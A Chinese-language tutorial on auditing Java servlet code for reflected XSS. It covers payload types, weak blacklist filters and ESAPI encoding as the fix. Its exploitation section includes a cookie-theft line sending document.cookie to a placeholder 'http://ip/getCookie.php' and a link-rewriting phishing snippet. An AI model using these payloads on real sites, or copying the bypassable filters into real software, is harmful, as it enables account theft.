java代码审计跨站脚本(XSS)--反射型
一、基础:跨站脚本(Xss)
一、原理:
恶意攻击者往web页面里插入恶意js代码,而在服务端没有对数据进行严格的过滤。当用户浏览页面时,js代码必须在该html页面中(hrml必须要存在这个而已艾玛),从而达到攻击用户的目的。(攻击者构造的的js代码会被当作正常的HTML、JS代码被解析,执行Js脚本实现攻击意图)
xss可能存在的位置:url,POST、GET的传递参数,HTTP头(Cookie)
二、危害
流量劫持
获取用户Cookie信息,盗取账号
篡改,删除页面信息(钓鱼)
配合CSRF攻击,实施进一步的攻击
XSS2RCE-控制对方电脑
三、分类
存储型:持久性xss--一劳永逸-存入数据库、session、文件、js(局部)
常见位置:用户留言、评论、用户昵称、用户信息等
反射性:非持久xss--不会存在数据库或某些落地的文件,js
常见位置:用户登录、搜索框、订单
DOM型:特殊的跨站,用户可控数据通过js和DOM技术输出到HTML中,利用方式通常与反射xss类似
四、payload
alert(123)
confirm(123)
prompt(123)
五、利用
盗取cookie
window.location.herf='http://ip/getCookie.php?cookie=' + document.cookie
钓鱼获取密码
document.getElementsByTagName("body")[0].onload=function chageLink(){document.getElementByTagName("a")[1].href="http://攻击者IP/rePasswd.php"}`
流量劫持
跳转页面法
AJAX提交法
标签payload
<script>alert(1)</script>
<img src="xxx" onerror=alert(1)>
<img src="javascript:alert(1)">
<a href="javascript:alert(1)">
六、攻击
构造闭合
用户输入即可能存在XSS注入,当然前提条件为HTML文件必须要存在这个构造的XSS恶意代码。它有可能存在a标签里,也有可能存在input标签里,Less。
构造攻击语句
攻击语句必须多种多样,因为服务器可能对某些攻击语句进行过滤;或也有可能存在某些语句服务器解释错误等。
七、防御
过滤
发现关键字时返回错误
编码
发现关键字进行编码
插入
发现关键字插入改变关键字语义符号
删除
发现关键字时删除关键字
实体化编码
将核心的关键字和关键符号进行过滤
二、审计---跨站脚本(Xss)
1、反射型XSS漏洞
(1)、常见的获取前端数据的方式
场景一、使用Servlet技术:
public static void test2(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try02 = request.getParameter("try02");//获取从前端来的数据
场景二、使用Structs2框架
通过Action类绑定参数或model参数
通过Action属性接受参数
场景三:使用SpringMVC获取前端参数:
可以看javaweb
反射型XSS漏洞通过外部输入,然后浏览器触发,审计过程寻找带参数的输出方法,然后根据输出方法对输出内容回溯输入参数
数据是从HttpServletRequest请求对象中获取的,但未对输入和输出数据进行过滤,扰乱以及编码等方面工作,无法对漏洞进行防御
1、未进行任何过滤
public static void test1(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try01 = request.getParameter("try01");
//request.getParameter通过Http协议过来的参数,容器的实现来取得通过get和post方式提交而来数据'try01'
System.out.println("try01="+try01);
}
正常请求:
index.jsp?responseTry01=123
攻击请求:
index.jsp?responseTry01=<script>alert(123)</script>
2、对特殊单词进行过滤(基于黑名单进行过滤)
public static void test2(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try02 = request.getParameter("try02");
if(try02 != null)
{
System.out.println("try02="+try02);
if(try02.contains("<script>"))
{try02 = "this pragram(02) is malice";}
else
{try02 += " try success"}
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry02="+(try02));
}
}
contains:在字符串找到一个字符序列
3、黑名单过滤并过滤大小写
public static void test3(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try03 = request.getParameter("try03");
if(try03 != null)
{
System.out.println("try03="+try03);
if(try03.toLowerCase().contains("<script>"))
{
try03 = "this pragram(03) is malice";
}
else
{
// try03 += " try success";
}
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry03="+(try03));
}
}
toLowerCase():将所有字符转换为小写
4、替换数据
public static void test5(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try05 = request.getParameter("try05");
if(try05 != null)
{
System.out.println("try03="+try05);
String payload1 = "</script>";
String payload2 = "<script>";
String payload3 = "<img";
List<String> payloads = new ArrayList<>();
payloads.add(payload1);
payloads.add(payload2);
payloads.add(payload3);
for (int i = 0; i < payloads.size(); i++) {
if (try05.contains(payloads.get(i))){
try05 = try05.replaceAll(payloads.get(i),"");
}
}
System.out.println("try05:"+try05);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry05="+(try05));
}
}
通过数据对黑名单数据进行替换
5、对非法字符转义
public static void test4(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try04 = request.getParameter("try04");
if(try04 != null)
{
System.out.println("try04="+try04);
try04 = ESAPI.encoder().encodeForHTML(try04);
//编码的主要意义:使字符串中是Html标签的内容失去被浏览器解析的意义(但是怎么显示怎么显示)
System.out.println("编码处理:"+try04);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry04="+URLEncoder.encode(try04 ,"UTF-8"));
}
}
5、将黑名单数据进行替换
public static void test5(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try05 = request.getParameter("try05");
if(try05 != null)
{
System.out.println("try03="+try05);
String payload1 = "</script>";
String payload2 = "<script>";
String payload3 = "<img";
List<String> payloads = new ArrayList<>();
payloads.add(payload1);
payloads.add(payload2);
payloads.add(payload3);
for (int i = 0; i < payloads.size(); i++) {
if (try05.contains(payloads.get(i))){
try05 = try05.replaceAll(payloads.get(i),"");
}
}
System.out.println("try05:"+try05);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry05="+(try05));
}
}
java代码审计跨站脚本(XSS)--反射型的更多相关文章
- JAVA代码审计之xss
java_sec_code xss 补充和回忆一下一些开发基础 @RestController @RequestMapping(value = "/xss") public cla ...
- 代码审计中的XSS反射型漏洞
XSS反射型漏洞 一 XSS漏洞总共分三总 XSS反射型漏洞,XSS保存型漏洞,基于DOM的XSS漏洞 这次主要分享XSS反射型漏洞 基本原理:就是通过给别人发送带有恶意脚本代码参数的URL,当URL ...
- Java代码审计之不安全的Java代码
Java代码审计之不安全的Java代码 在打靶场的同时,需要想一下如果你是开发人员你会怎样去防御这种漏洞,而作为攻击方你又怎么去绕过开发人员的防御. 环境搭建 https://github.com ...
- java代码审计的点
java代码审计的点 组件的审计 首先看pom.xml查看第三方组件和第三方组件的版本 常用的第三方组件: 第三方组件 漏洞类型 组件漏洞版本 log4j2 远程代码执行 Apache log4j2 ...
- java代码审计文章集合
0x00 前言 java代码审计相关文章整理,持续更新. 0x01 java环境基础 搭建Java Web开发环境 配置IDEA编辑器开发java web,从0创建项目 IDEA动态调试 ...
- [代码审计]某租车系统JAVA代码审计[前台sql注入]
0x00 前言 艰难徘徊这么久,终于迈出第一步,畏畏缩缩是阻碍大多数人前进的绊脚石,共勉. 系统是租车系统,这个系统是Adog师傅之前发在freebuf(http://www.freebuf.com/ ...
- Java代码审计-铁人下载系统
初学 java 代码审计,跟着表哥们脚步,走一遍审计流程,就选了个没有使用 Java 框架的 java 系统,作为入门. 目的是为了熟悉代码审计流程,寻找漏洞的思路,入门记录. 准备工作 为了验证审计 ...
- 跨站脚本(XSS)
1.1 XSS定义 XSS,即为(Cross Site Scripting),中文名为跨站脚本,是发生在目标用户的浏览器层面上的,当渲染DOM树的过程发生了不在预期内执行的JS代码时,就发生了XSS攻 ...
- 【代码审计】JAVA代码审计
分享一些Java安全相关文章,其中大部分都涉及到代码的分析与审计. 大家总是在找Java的代码审计的文章,但好像很多人选择性失明. 其实Java没有和PHP一样的简单,所以你觉得你看到的文章不是入门级 ...
- java代码审计中的一些常见漏洞及其特征函数
文章来源:https://xz.aliyun.com/t/1633 最近在先知上看到之前有篇关于java代码审计的文章总结的蛮好,记录以下特征函数,方便查阅,同时自己也会将在平时代码审计过程中积累的函 ...
随机推荐
- KingbaseES数据库导入数据invalid byte sequence for encoding
一.适用版本: KingbaseES数据库所有版本. 二.问题现象: 使用备份的数据进行还原,还原过程中发生异常. 日志信息: sys_restore: connecting to database ...
- wordpress自建博客站,在页脚添加网站总访问次数
wordpress自建博客站,在页脚添加网站总访问次数 笔者使用的主题是 GeneratePress 版本:3.1.3 打开footer.php编辑 <div style="text- ...
- #差分,前缀和#nssl 1469 U
分析 考虑离线,因为异或和很难在线处理 然后可以用两个数组来差分斜与横的情况,然后将答案竖着传 时间复杂度\(O(n^2)\) 代码 #include <cstdio> #include ...
- #背包#洛谷 4026 [SHOI2008]循环的债务
题目 分析 设\(dp[t][n][m]\)表示前\(t\)种钞票\(\text{Alice,Bob}\)分别拥有\(n,m\)元所需最小交换钞票数, 枚举\(\text{Alice,Bob}\)最后 ...
- 使用8086汇编驱动SHT11传感器
前言:使用Proteus 7.8仿真软件实现8086接入SHT11温湿度传感器(实现读取温度数据部分功能),并学习如何在没有集成硬件控制下串行总线的驱动方式,汇编的精髓就是寄存器的操作.各种寻址方式. ...
- unknow or unsupported command install
错误原因: 今天使用pip下载labelimg时,出现了"unknow or unsupported command install"的错误,这是由于电脑有多个pip文件路径所导致 ...
- 【中秋国庆不断更】XML在HarmonyOS中的生成,解析与转换(下)
一.XML解析 对于以XML作为载体传递的数据,实际使用中需要对相关的节点进行解析,一般包括解析XML标签和标签值.解析XML属性和属性值.解析XML事件类型和元素深度三类场景. XML模块提供Xml ...
- HDC2021技术分论坛:ArkUI 3.0让多设备开发更简单!
作者:wanglei,华为UI编程框架技术专家 HarmonyOS自诞生以来,就是为满足分布式多设备应用场景而设计的,大到智慧屏.车机.平板,小到手机.手表.在多设备场景下进行应用UI界面开发,面临新 ...
- Hi3861编译烧录更快捷
原文链接:https://mp.weixin.qq.com/s/TApbA6VUYUVWrGGaDyodbA,点击链接查看更多技术内容: HUAWEI DevEco Device Tool是华为面向 ...
- jenkins 持续集成和交付——开篇(一)
前言 因为以前就很想看下jenkins了,平时工作中也使用,主要是写脚本,但是jenkins 主要还是说运维部门来搞定的,因为公司安全部门认为程序员不应该去接触运维的东西,但是上次面试问了下,准备把这 ...